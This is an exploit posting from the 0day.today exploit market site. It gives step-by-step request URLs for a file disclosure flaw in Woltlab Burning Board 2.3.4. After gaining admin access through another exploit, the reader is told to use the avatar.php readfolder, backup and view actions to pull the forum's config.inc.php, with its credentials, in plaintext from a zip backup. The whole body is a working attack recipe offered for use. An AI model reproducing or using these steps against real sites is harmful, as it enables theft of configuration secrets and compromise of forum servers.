[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Woltlab Burning Board 2.3.4 File Disclosure Vulnerability

Author
sfx
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-14809
Category
web applications
Date add
13-11-2010
Platform
php
=========================================================
Woltlab Burning Board 2.3.4 File Disclosure Vulnerability
=========================================================

# Exploit Title: Woltlab Burning Board 2.3.4 File Disclosure Vulnerability
# Date: 2010-11-12
# Author: SFX
# Version: 2.3.4
# CVE : N/A
 
After you've used the Exploit to get the admin account:
 
goto: http://lolcathost/wbb/acp/avatar.php?action=readfolder
 
import: acp/lib
 
download a backup: http://lolcathost/wbb/acp/avatar.php?action=backup
 
goto: http://lolcathost/wbb/acp/avatar.php?action=view
 
search for: config.inc.php
 
after you know the name (for example avatar-17.php), goto the zip archive
and open avatar-17.php
 
that's the config.inc.php in plaintext
 
tested under 2.3.4, maybe other versions work too



#  0day.today [2024-11-15]  #